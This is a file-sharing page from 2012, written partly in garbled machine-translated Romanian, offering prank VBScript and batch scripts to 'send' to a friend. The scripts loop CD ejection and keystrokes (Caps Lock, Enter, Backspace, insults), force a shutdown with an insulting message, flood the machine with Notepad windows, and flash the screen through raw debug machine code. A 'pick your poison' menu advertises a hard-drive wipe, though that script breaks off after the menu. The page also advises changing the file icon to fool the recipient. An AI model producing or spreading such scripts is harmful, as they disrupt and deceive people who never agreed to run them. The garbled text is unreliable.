| Home » Files » Fişierele mele |
Script Hack
| 2012-03-08, 11:57 PM | |
| Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them! Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop _____________________________ Comutaţi butonul de prietenul tău Caps Lock simultan: Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop Save it as "Anything.VBS" and send it. ______________________________________ Convey your friend a lil' message and shut down his / her computer: @echo off msg * I don't like you shutdown -c "Error! You are too stupid!" -s Save it as "Anything.BAT" in All Files and send it. _______________________________________ Zădărnici prietenul tau de a face acest hit VBScript Enter simultan: Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop Save it as "Anything.VBS" and send it. ______________________________________ Deschide Notepad, tastaţi încet "Bună ziua, ce mai faci eu sunt mulţumită bune?" Şi sperie prietenul tău din: WScript.Sleep 180000 WScript.Sleep 10000 Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 100 WshShell.AppActivate "Notepad" WScript.Sleep 500 WshShell.SendKeys "Hel" WScript.Sleep 500 WshShell.SendKeys "lo " WScript.Sleep 500 WshShell.SendKeys ", ho" WScript.Sleep 500 WshShell.SendKeys "w a" WScript.Sleep 500 WshShell.SendKeys "re " WScript.Sleep 500 WshShell.SendKeys "you" WScript.Sleep 500 WshShell.SendKeys "? " WScript.Sleep 500 WshShell.SendKeys "I a" WScript.Sleep 500 WshShell.SendKeys "m g" WScript.Sleep 500 WshShell.SendKeys "ood" WScript.Sleep 500 WshShell.SendKeys " th" WScript.Sleep 500 WshShell.SendKeys "ank" WScript.Sleep 500 WshShell.SendKeys "s! " Save it as "Anything.VBS" and send it. ______________________________________ Zădărnici prietenul tau de a face acest Backspace hit VBScript simultan: MsgBox "Let's go back a few steps" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop Save it as "Anything.VBS" and send it. ______________________________________ Hack tastatura prietenul tău şi să-l tastaţi "Eşti un prost" simultan: Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "You are a fool." loop Save it as "Anything.VBS" and send it. _______________________________________ Deschideţi Notepad continuu în calculatorul prietenului tau: @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top Save it as "Anything.BAT" and send it. _______________________________________ Glumă tare: Alegeţi fişierul batch otravă. Ea cere prietenul tau pentru a alege un număr între 1-5 şi apoi face o anumită acţiune: 1: Shutdown 2: Restart 3: Wipes out your hard drive (BEWARE) 4: Net send 5: Messages then shutdown Type : @echo off title The end of the world cd C:\ :menu cls echo Se poate reformata pc_ul . sau ardera acestuia .aveti mare grija. pause echo Pick your poison: echo 1. Die this way (Wimp) echo 2. Die this way (WIMP!) echo 3. DO NOT DIE THIS WAY echo 4. Die this way (you're boring) echo 5. Easy way out set input=nothing set /p input=Choice: if %input%==1 goto one if %input%==2 goto two Save it as "Anything.BAT" and send it. S-ar putea sã avea pentru a modifica pictograma de fişier înainte de al trimite la un prieten, aşa faceţi clic dreapta pe fişier, faceţi clic pe Proprietăţi, faceţi clic pe pictograma "Change", şi de a schimba pictograma de acolo. ______________________________________ THRETEN BY MAKING SCREEN FLASH Pentru a face un fişier batch foarte cool, care pot face dvs. de culori întregul ecran Flash aleatoare până când a lovit o cheie pentru a opri, pur şi simplu copiaţi şi lipiţi următorul cod în Notepad şi apoi salvaţi-l ca un fişier. Liliac. @echo off echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg echo g=100>>\z.dbg echo q>>\z.dbg debug <\z.dbg>nul del \z.dbg But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE. @echo off :a echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg echo g=100>>\z.dbg echo q>>\z.dbg debug <\z.dbg>nul del \z.dbg goto a Pentru a dezactiva eroare (CTRL + tricou + esc), apoi procesul de wscript.exe sfârşitul | |
| Views: 1405 | Downloads: 0 | Comments: 5 | | |
| Total comments: 0 | |